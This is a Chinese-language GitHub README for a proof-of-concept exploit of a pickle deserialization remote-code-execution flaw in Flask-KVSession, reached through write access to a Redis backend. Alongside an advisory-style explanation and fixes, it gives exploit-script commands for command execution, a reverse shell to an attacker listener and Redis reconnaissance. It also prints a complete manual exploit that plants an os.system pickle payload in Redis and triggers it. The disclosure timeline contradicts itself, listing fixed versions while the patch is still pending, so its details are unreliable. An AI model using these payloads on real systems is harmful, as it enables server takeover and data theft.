deepanshhooda/flask-kvsession-pickle-rce
GitHub: deepanshhooda/flask-kvsession-pickle-rce
Flask-KVSession Pickle 反序列化 RCE 漏洞的概念验证项目,复现并利用 Redis 后端数据写入实现远程代码执行。
Stars: 0 | Forks: 0
# Flask-KVSession Pickle 反序列化远程代码执行
**CVE**: 待定(已提交至 MITRE)
**CVSS 4.0**: 10.0 严重
**CWE**: CWE-502(不可信数据反序列化)
**发现时间**: 2026 年 6 月
## 概述
Flask-KVSession 及其分支(Flask-KVSession-fork)使用 Python 的 `pickle` 模块来序列化和反序列化存储在 Redis 中的 session 数据。拥有 Redis 后端写入权限的攻击者可以注入恶意的 pickle payload,当 Flask 应用对其进行反序列化时,将导致**未经身份验证的远程代码执行**。
客户端 cookie 中仅存储了 session ID —— 实际的 session 数据存储在 Redis 中,键名为 `kvsession:`。当服务器处理请求时,它会从 Redis 中获取原始字节,并直接传递给 `pickle.loads()`。
## 受影响版本
| 包名 | 受影响版本 | 修复版本 |
|---------|----------|----------|
| `flask-kvsession` | < 0.6.3 | 0.6.3 |
| `Flask-KVSession-fork` | < 0.6.5 | 0.6.5 |
## 漏洞详情
### 根本原因
在 `flask_kvsession/session.py` 中,`KVSession` 类使用 `pickle.dumps()` 序列化 session 对象,并使用 `pickle.loads()` 对其进行反序列化:
```
# flask_kvsession/session.py (漏洞)
def _loads(self, value):
return pickle.loads(value) # <-- UNSAFE: no validation
def _dumps(self, value):
return pickle.dumps(value)
```
当对不可信数据调用时,Python 的 `pickle.loads()` 本质上是不安全的。它可以通过 `__reduce__` 协议在反序列化期间执行任意代码。这是一个**设计缺陷** —— 永远不应在跨越信任边界时使用 pickle 进行序列化。
### 攻击向量
1. **攻击者获得 Redis 后端的写入权限** —— 常见场景包括:
- Redis 在没有身份验证的情况下暴露在互联网上(默认配置)
- Flask 应用或同一网络中另一个应用存在 SSRF 漏洞
- 内部网络访问权限(从另一个被攻破的服务进行内网渗透)
- 配置不当的防火墙暴露了 Redis 端口 (6379)
2. **攻击者构造恶意 pickle payload** —— 使用 Python 的 `__reduce__` 方法在反序列化期间执行任意命令
3. **攻击者将 payload 写入 Redis**,存储在已知的 session 键下 (`kvsession:`)
4. **攻击者将其 session cookie 设置**为精心构造的 session ID
5. **服务器反序列化该 payload** → **RCE**
### 攻击图
```
┌─────────────┐ Redis Access ┌──────────────┐
│ Attacker │ ────────────────────▶ │ Redis DB │
│ │ write payload │ │
└──────┬──────┘ └──────┬───────┘
│ │
│ request with │
│ malicious session cookie │
▼ ▼
┌─────────────────────────────────────────────────────┐
│ Flask App (flask-kvsession) │
│ │
│ 1. Get session ID from cookie │
│ 2. Fetch bytes from Redis: GET kvsession: │
│ 3. Call pickle.loads(bytes) ← RCE HERE │
│ 4. Use deserialized session object │
└─────────────────────────────────────────────────────┘
```
## 概念验证
### 环境配置
```
# Clone this repository
git clone https://github.com/deepanshhooda/flask-kvsession-pickle-rce
cd flask-kvsession-pickle-rce
# 启动漏洞实验环境
docker-compose up -d
# 验证服务正在运行
curl http://localhost:5000/
```
### 漏洞利用
**场景 1: 命令执行**
```
# 针对 Redis 后端运行 exploit
python3 exploit/exploit.py \
--redis-host 127.0.0.1 \
--redis-port 6379 \
--flask-url http://127.0.0.1:5000 \
--command "id"
# 输出:
# [+] Connected to Redis at 127.0.0.1:6379
# [+] Injected malicious pickle payload into Redis
# [+] Exploit triggered! uid=1000(app) gid=1000(app) groups=1000(app)
```
**场景 2: 反向 Shell**
```
# 终端 1: 启动 listener
nc -lvnp 4444
# 终端 2: 使用 reverse shell 运行 exploit
python3 exploit/exploit.py \
--redis-host 127.0.0.1 \
--redis-port 6379 \
--flask-url http://127.0.0.1:5000 \
--reverse-shell \
--lhost YOUR_IP \
--lport 4444
```
**场景 3: Redis 侦察**
```
# 检查目标的 Redis 是否可访问
python3 exploit/exploit.py \
--redis-host \
--redis-port 6379 \
--recon
```
### 手动利用
```
import pickle, redis, requests
class RCE:
def __reduce__(self):
import os
return (os.system, ('id',))
# 1. 连接到暴露的 Redis
r = redis.Redis(host='target-redis', port=6379)
# 2. 创建恶意 session
sid = 'evil-session-id'
payload = pickle.dumps(RCE(), protocol=0)
r.set(f'kvsession:{sid}', payload)
# 3. 触发 deserialization
requests.get('http://target-flask:5000',
cookies={'session': sid})
```
## 影响
- **严重**: CVSS 4.0 评分 10.0
- **未经身份验证的 RCE**: 如果 Redis 可访问,则无需身份验证
- **完全控制服务器**: 攻击者获得 Flask 应用进程的权限
- **持久性**: 在许多配置中,Redis 后端会持久化数据,允许攻击者注入一次 payload 并使其在每个存在漏洞的应用实例上执行
- **网络跳板**: 被攻破的服务器可用于攻击内部系统
- **数据泄露**: 访问存储在环境中的数据库凭据、API 密钥和应用数据
## 修复方案
### 立即修复
1. **升级到已修复版本**:
- flask-kvsession: `pip install flask-kvsession>=0.6.3`
- Flask-KVSession-fork: `pip install Flask-KVSession-fork>=0.6.5`
### 替代序列化方案
2. **使用安全的序列化格式替换 pickle**:
- `json`(适用于简单的 session 数据)
- `msgpack`(二进制安全、更快的替代方案)
- `itsdangerous`(Flask 内置签名,默认已由 Flask session 使用)
### 纵深防御
3. **安全部署 Redis**:
- 使用强密码设置 `requirepass`
- 使用 `rename-command FLUSHALL ""` 和 `rename-command CONFIG ""`
- 仅绑定到 localhost 或私有网络
- 使用网络隔离(为 Redis 划分单独的 VLAN)
- 为 Redis 连接启用 TLS
- 在生产环境中使用 `redis-sentinel` 或 `redis-cluster`
4. **输入验证**:
- 在查找之前验证 session ID
- 对序列化数据实施完整性检查 (HMAC)
- 考虑使用签名过的 session cookie 代替服务器端 session
## 披露时间线
| 日期 | 事件 |
|------|-------|
| 2026-06 | 在安全审计期间发现漏洞 |
| 2026-06 | 向 MITRE 申请 CVE ID |
| 2026-06 | 在 GitHub 上发布 PoC |
| 待定 | 通知厂商 |
| 待定 | 发布补丁 |
## 参考
- [原始代码库 (mbr/flask-kvsession)](https://github.com/mbr/flask-kvsession)
- [分支代码库 (infobyte/flask-kvsession)](https://github.com/infobyte/flask-kvsession)
- [Flask-KVSession PyPI](https://pypi.org/project/Flask-KVSession/)
- [Flask-KVSession-fork PyPI](https://pypi.org/project/Flask-KVSession-fork/)
- [CWE-502: 不可信数据反序列化](https://cwe.mitre.org/data/definitions/502.html)
- [CVE-2021-33026: Flask-Caching pickle 反序列化(先例)](https://nvd.nist.gov/vuln/detail/CVE-2021-33026)
- [OWASP 反序列化速查表](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html)
## 免责声明
本 PoC 仅用于**教育目的和授权的安全测试**。未经授权访问计算机系统是违法行为。作者不对滥用此信息的行为负责。
## 作者
- deepanshhooda
标签:Flask, Pickle反序列化, Python, Web安全, XXE攻击, 搜索引擎查询, 无后门, 编程工具, 蓝队分析, 请求拦截, 远程代码执行, 逆向工具